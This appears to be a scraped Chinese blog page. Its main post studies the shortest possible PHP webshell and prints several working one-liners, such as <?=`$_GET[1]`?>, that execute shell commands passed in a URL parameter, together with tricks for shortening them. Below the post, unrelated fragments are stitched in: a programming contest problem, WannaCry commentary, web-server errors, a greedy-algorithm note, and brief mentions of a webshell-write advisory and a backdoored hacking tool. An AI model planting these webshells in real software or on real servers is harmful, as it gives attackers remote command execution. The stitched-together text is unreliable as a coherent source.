PHP最短webshell的思考

转自:http://ecma.io/483.html

The shortest webshell of PHP

某天闲逛wooyun,发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西:

  • The shortest webshell of PHP
  • PHP执行运算符反引号

上面提及的文章,我读前几遍的时候是很费解的!后来,土司的P牛给我一些指点,豁然开朗

Google “the shortest webshell”

1

<?=`$_GET[1]`?>

google得到的结果之一如上所示,一共15个字符。这里比较有意思的是

  • php.ini需要开启short_open_tag后才能使用短标签,才能使用 <?= 代替 <? echo
  • php中使用分号分隔语句进行解析
    • 最后一行不需要分号
    • php多条语句可以写在一样,但是需要分号分隔
    • 多个分号之间只要是空白符,php是允许的!(有待考究)

1

<?=`$_GET[1]`;

google得到的最短的webshell如上所示,一共14个字符

  • 这里去掉了闭合标签,但是加上了分号
  • 最后一行不需要分号,但是一定需要闭合标签!
  • 此外,这种写法嵌套在其它文件中是不可行的,那么就必须写上闭合标签!

linux中bash的妙用

1

<?=`*`;

一个7个字符,这七个字符能做什么呢?

在linux系统中,在终端运行*与上面的作用是一样的!

  • *用于匹配目录下的所有文件名(包括目录名)。
  • 反引号就是执行运算符,将目录下的文件名以命令的形式进行执行!接下来就是linux的东西了
时间: 2024-10-15 02:01:42

PHP最短webshell的思考的相关文章

[JZOJ3320] 【BOI2013】文本编辑器

题目 题目大意 给你一个文本,要删去其中所有的'e'. 有三种操作: h光标左移. x删除光标上面的字母(光标是横着的). fc跳到后面的第一个字符为'c'的位置. 问操作序列的最短长度. 思考历程 首先看错了题意,然后感觉似乎很水--后来发现错了-- 接下来开始想其它的方法. 有个还不错的思路:设\(f_{i,j}\)表示前面\(i\)个'e'被选了,现在光标在\(j\)的最小答案. 比赛的时候头昏眼花写出了一个\(O(n^4)\)的转移方程,后来在最后5分钟的时候发现其中的一对变量是重复的-

永恒之蓝病毒事件所引发的运维安全行业新思考

一.NSA "永恒之蓝" 勒索蠕虫全球爆发 2017年5月12日爆发的 WannaCry勒索病毒肆虐了全球网络系统,引起各国企业和机构极大恐慌.而这次受害最严重的是Windows系统,自然也被锁定为怀疑对象,有人认为正是因为该系统对于漏洞的麻木和疏漏才导致了此次勒索病毒的蔓延.作为受害者的微软却将矛头指向美国国安局(NSA)和永恒之蓝.不法分子利用永恒之蓝漏洞攻击Windows系统,造成系统锁定,从而进行勒索,否则将删除所有信息 就WannaCry勒索病毒呈现的特征而言,面对新时期网络

关于大型网站技术演进的思考(二)--存储的瓶颈(中)

上篇里我讲到某些网站在高并发下会报出503错误,503错误的含义是指网站服务端暂时无法提供服务的含义,503还表达了网站服务端现在有问题但是以后可能会提供正常的服务,对http协议熟悉的人都知道,5开头的响应码表达了服务端出现了问题,在我们开发测试时候最为常见的是500错误,500代表的含义是服务端程序出现了错误导致网站无法正常提供服务,500通常是服务端异常和错误所致,如果生产系统里发现了500错误,那么只能说明网站存在逻辑性的错误,这往往是系统上线前的测试做的不到位所致.回到503错误,我上

UVA 1416 最短路树

Warfare And Logistics The army of United Nations launched a new wave of air strikes on terroristforces. The objective of the mission is to reduce enemy's logistical mobility. Each airstrike will destroy a path and therefore increase the shipping cost

数据结构之贪心算法(背包问题的思考)-(十)

贪心策略.关于贪心算法的思考,思考过程都放在代码中了. package com.lip.datastructure; /** *贪心算法:装箱问题的思考 * @author Lip *装箱问题可以是时间调问题的延伸,当一个箱子没有容积限制,那么就是时间调度问题 *在时间调度问题中:存在两个可以讨论的问题.1.平均最短时间 2.总的最短时间 *这两个问题都和装箱问题中问题如此类似. */ /* * 上面是我理解的装箱问题,本来是想说背包问题的 * 背包问题的描述:有N件物品和一个容量为V的背包.第

如何防止中国菜刀后门泄露webshell地址

通过本地中转可以很好地防止带后门的菜刀窃取webshell.PHP代码如下所示,原理自行思考,不懂的请留言 <?php $webshell="http://www.victim.com/webshell.php";//把这里改成你的shell地址 $temp=$_POST; $data = $temp; $data = http_build_query($data); $opts = array ( 'http' => array ( 'method' => 'POS

08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path

目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 简单描述这个漏洞 1. /include/general.inc.php //本地变量注册 foreach(array('_POST','_GET') as $_request) { foreach($$_request as $k => $v) { $k{0} != '_' && $$k = maddslashes($v); } } /* 这里实现了模拟

两点之间线段最短,事实真是这样吗?

从小,大人们就告诫我们过马路要直线穿过去,而不要斜插过去,因为这样距离短,就避免了危险.这似乎也印证着两点之间线段最短这句话,同时我也坚信着,两点之间走直线时间最短.直到我见到了下面这张图. 经过无数学霸的论证和科学实验,上图红色路线是最快的路线,此曲线也因此被称为"最速曲线".颠覆思维的一张图,在生活中会给我们什么启示呢? "内圣外王"-做人做事之道 "水至清则无鱼,人至察则无徒",生活中,我们避免不了与人打交道,如果为人太刚硬,太特立独行,势

运维安全思考

运维安全在现在的运维环境中依然是非常重要的.我将常见的安全分几个大项列出.有不足之处.欢迎补充. 网络 1.数据库和redis等不对外开放的服务禁止公网连接 2.关闭一些无用的服务和端口 3.公网访问的端口开放80和443端口(vpn或跳板机端口) 4.禁止公网ssh连接服务器(可选,需要安装vpn或跳板机) 系统 1.最小化安装系统 2.服务器用非root权限登陆或者证书登陆 3.服务启动用非root用户启动 4.开启防火墙只开启对外提供的端口 5.更新系统软件如:bash openssl o